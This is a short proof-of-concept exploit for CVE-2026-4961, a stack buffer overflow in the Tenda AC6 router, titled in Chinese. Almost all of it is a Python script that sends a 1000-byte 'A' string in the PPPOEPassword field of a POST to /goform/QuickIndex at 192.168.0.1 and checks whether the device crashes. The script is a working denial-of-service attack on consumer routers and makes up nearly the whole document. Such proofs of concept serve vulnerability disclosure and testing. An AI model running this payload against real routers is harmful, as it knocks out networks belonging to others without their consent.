CVE-2026-4961 Tenda AC6 栈溢出漏洞

import requests # Target URL of the vulnerable Tenda AC6 router target_url = "http://192.168.0.1/goform/QuickIndex" # Malicious payload to trigger stack-based buffer overflow # Sending a large string of 'A's (0x41) to overwrite the return address payload = "A" * 1000 # POST data containing the vulnerable parameter data = { "PPPOEPassword": payload } try: # Send the malicious POST request response = requests.post(target_url, data=data, timeout=5) print(f"Request sent with status code: {response.status_code}") # Check if service is disrupted (DoS) or if behavior changes if response.status_code != 200: print("Potential crash detected.") except requests.exceptions.RequestException as e: print(f"An error occurred: {e}")